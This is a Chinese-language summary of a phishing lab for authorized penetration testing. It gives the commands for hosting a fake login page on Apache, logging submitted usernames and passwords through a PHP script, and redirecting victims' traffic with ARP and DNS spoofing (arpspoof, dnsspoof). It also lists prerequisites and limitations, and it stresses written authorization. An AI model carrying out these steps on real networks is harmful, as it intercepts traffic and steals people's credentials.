用途：在受控实验环境中搭建凭证收集（钓鱼）实验，用于获授权的渗透测试与安全意识演示，流程包括 Apache 托管伪造站点、ARP 欺骗与 DNS 欺骗实现流量重定向，并记录提交的凭据。
前置条件：Kali 或类似渗透测试系统、Apache2、dsniff（含 arpspoof、dnsspoof）、可访问目标网段、书面授权，以及基础网络、HTML/PHP 与 Linux 命令行知识。
主要能力与用法：安装启动 Apache（sudo apt update && sudo apt install apache2 -y；sudo service apache2 start）；在 /var/www/html 放置伪造登录页 index.html，用 login.php 将用户名与密码追加写入 login_log.txt 并跳转；创建并授予日志写权限（sudo touch /var/www/html/login_log.txt；sudo chown www-data:www-data ...）；开启转发（echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward）；安装 dsniff 后双向 ARP 欺骗（sudo arpspoof -i eth0 -t 目标 网关，及反向），并用 hosts.txt 配置 DNS 欺骗（sudo dnsspoof -i eth0 -f ~/hosts.txt）；用 tail -f 监控日志。
限制：必须取得书面授权，仅限自有或获准网络；HSTS 会阻止降级、HTTPS 站点会显示证书警告、浏览器缓存可能保留真实 DNS、现代安全工具可检测 ARP 欺骗。端口 53 冲突需停止 systemd-resolved。资料未提供收费、价格与平台信息。